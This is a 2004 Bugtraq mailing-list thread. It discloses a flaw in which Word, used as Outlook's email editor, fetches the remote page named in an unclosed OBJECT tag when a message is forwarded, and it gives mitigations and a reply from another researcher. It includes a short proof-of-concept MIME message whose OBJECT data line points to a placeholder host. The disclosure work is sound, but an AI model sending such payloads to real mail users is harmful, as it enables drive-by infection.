Microsoft Word Email Object Data Vulnerability

[James C. Slora, Jr.]

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
Microsoft Word Email Object Data Vulnerability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
Summary:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
Outlook 2000 and 2003 allow execution of remote web pages specified
within the data property of OBJECT tags when there is no closing /OBJECT
tag, while forwarding an HTML email message using Word 2000 or 2003 as
the email editor. This behavior happens regardless of Security Zone
settings - it completely ignores them.

Spammed exploits are very much in the wild and are affecting systems
even if the bug is beyond the scope of the spammers' original intent.=20

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
Vendor notification:=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
June 8 - email to secure@microsoft.com (no response)
June 14 - email again to secure@microsoft.com, initial response came
same day
June 15 through July 2 - Several messages back and forth
July 2 - final and detailed response from Microsoft
Result: They consider it a variation of web bug behavior, and may take
care of it in future Office releases if they decide to modify Outlook's
download behavior when forwarding and replying.
=20
**********************
Disclaimer: Testing was very limited. There are probably mistakes and
holes in my analysis, and this all needs to be reviewed further. Use at
your own risk, no liability for misuse, etc.
**********************

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
Severity:=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
I consider it at least moderate because large volumes of spam easily
overcome long odds of exploiting it in any given case. Plus because many
people believe they are immune to old-fashioned OBJECT data exploits if
they are up to date on their patches. Plus the apparent Security Zone
bypass side of it may indicate additional more serious risks in Word
email.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
Products tested
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
Affected:
Outlook 2003 with MS Word 2003 as the email editor on XP Pro SP1
Outlook 2000 with MS Word 2000 as the email editor on Win2K Pro SP4

Not affected:
Outlook 2003 with its own email editor on XP Pro SP1=20
Outlook 2000 with its own email editor on Win2K Pro SP4

Not tested:
No other configurations tested.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
Details:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
The OBJECT tag gets processed on any version of Outlook but blocks
ActiveX controls if it is up to patch rev (anything since 2000) with
default Restricted Zone settings. This is working fine on the affected
system until one specific scenario:

When using MS Word as the email editor and forwarding an HTML email
message containing an OBJECT tag with no closing /OBJECT, MS Word
downloads the page referred to in the "data" property of the OBJECT with
no prompt to the user.

So if the user forwards a spam message to someone (such as their mail
administrator), the user may infect their own computer.

This only works when forwarding a message - not when replying. It also
only appears to work if the OBJECT tag is not closed with a /OBJECT.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
Fix:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
None available AFAIK

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
Mitigators:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
- Don't use Word as the email editor
- Don't forward spam messages, just forward headers or source from
Tools>Options
- Filter HTML mail containing OBJECT tags, whether enclosed by HTML tags
or not, and especially if there is no closing /OBJECT

Those mitigators stop the execution of the OBJECT data reference

Frequently suggested mitigators that do not help so much:
- Removing the HTA MIME-Type, and killbitting the adodb.stream and
shell.application controls, do not help.
- Outlook Restricted Zone settings do not help.
- Locking down the My Computer security zone does not help.

Those mitigators don't stop execution but may help stop secondary
exploits that might be hosted at the OBJECT data reference.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
Proof of concept:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
Check your spam for OBJECT tags that call Web URLs. This stuff is
everywhere. Here is the basic idea:

MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary=3D"--001"

----001
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

|object data=3D3D"http://www.foobar.foo/page.php"|

----001--

[Drew Copley]

How did you find this? Did someone email this to you? Did
you discover this variation?=20

(Being that the original bug was mine, I have some interest
in a new variation being exploited by spammers... especially
if it was genuinely found in the wild.)

And, why is Microsoft ignoring this bug? If you forward
the email it will work (with Word as the editor...)? Yes,=20
that may not be a critical variation, but with proper social=20
engineering, it would fool some people... especially the=20
many who love to forward things such as "Bill Gates will=20
buy you a new cell phone if you forward this email"...



> -----Original Message-----
> From: James C. Slora, Jr. [mailto:james.slora@phra.com]=20
> Sent: Thursday, July 08, 2004 12:52 PM
> To: bugtraq@securityfocus.com; Windows NTBugtraq Mailing List
> Subject: Microsoft Word Email Object Data Vulnerability
>=20
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> Microsoft Word Email Object Data Vulnerability
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
>=20
>=20
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> Summary:
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> Outlook 2000 and 2003 allow execution of remote web pages specified
> within the data property of OBJECT tags when there is no=20
> closing /OBJECT
> tag, while forwarding an HTML email message using Word 2000 or 2003 as
> the email editor. This behavior happens regardless of Security Zone
> settings - it completely ignores them.
>=20
> Spammed exploits are very much in the wild and are affecting systems
> even if the bug is beyond the scope of the spammers' original intent.=20
>=20
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> Vendor notification:=20
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> June 8 - email to secure@microsoft.com (no response)
> June 14 - email again to secure@microsoft.com, initial response came
> same day
> June 15 through July 2 - Several messages back and forth
> July 2 - final and detailed response from Microsoft
> Result: They consider it a variation of web bug behavior, and may take
> care of it in future Office releases if they decide to modify=20
> Outlook's
> download behavior when forwarding and replying.
> =20
> **********************
> Disclaimer: Testing was very limited. There are probably mistakes and
> holes in my analysis, and this all needs to be reviewed=20
> further. Use at
> your own risk, no liability for misuse, etc.
> **********************
>=20
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> Severity:=20
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> I consider it at least moderate because large volumes of spam easily
> overcome long odds of exploiting it in any given case. Plus=20
> because many
> people believe they are immune to old-fashioned OBJECT data=20
> exploits if
> they are up to date on their patches. Plus the apparent Security Zone
> bypass side of it may indicate additional more serious risks in Word
> email.
>=20
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> Products tested
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> Affected:
> Outlook 2003 with MS Word 2003 as the email editor on XP Pro SP1
> Outlook 2000 with MS Word 2000 as the email editor on Win2K Pro SP4
>=20
> Not affected:
> Outlook 2003 with its own email editor on XP Pro SP1=20
> Outlook 2000 with its own email editor on Win2K Pro SP4
>=20
> Not tested:
> No other configurations tested.
>=20
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> Details:
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> The OBJECT tag gets processed on any version of Outlook but blocks
> ActiveX controls if it is up to patch rev (anything since 2000) with
> default Restricted Zone settings. This is working fine on the affected
> system until one specific scenario:
>=20
> When using MS Word as the email editor and forwarding an HTML email
> message containing an OBJECT tag with no closing /OBJECT, MS Word
> downloads the page referred to in the "data" property of the=20
> OBJECT with
> no prompt to the user.
>=20
> So if the user forwards a spam message to someone (such as their mail
> administrator), the user may infect their own computer.
>=20
> This only works when forwarding a message - not when replying. It also
> only appears to work if the OBJECT tag is not closed with a /OBJECT.
>=20
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> Fix:
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> None available AFAIK
>=20
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> Mitigators:
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> - Don't use Word as the email editor
> - Don't forward spam messages, just forward headers or source from
> Tools>Options
> - Filter HTML mail containing OBJECT tags, whether enclosed=20
> by HTML tags
> or not, and especially if there is no closing /OBJECT
>=20
> Those mitigators stop the execution of the OBJECT data reference
>=20
> Frequently suggested mitigators that do not help so much:
> - Removing the HTA MIME-Type, and killbitting the adodb.stream and
> shell.application controls, do not help.
> - Outlook Restricted Zone settings do not help.
> - Locking down the My Computer security zone does not help.
>=20
> Those mitigators don't stop execution but may help stop secondary
> exploits that might be hosted at the OBJECT data reference.
>=20
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> Proof of concept:
> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D
> Check your spam for OBJECT tags that call Web URLs. This stuff is
> everywhere. Here is the basic idea:
>=20
> MIME-Version: 1.0
> Content-Type: multipart/alternative;
> boundary=3D"--001"
>=20
> ----001
> Content-Type: text/html;
> Content-Transfer-Encoding: quoted-printable
>=20
> |object data=3D3D"http://www.foobar.foo/page.php"|
>=20
> ----001--
>=20
>=20
>=20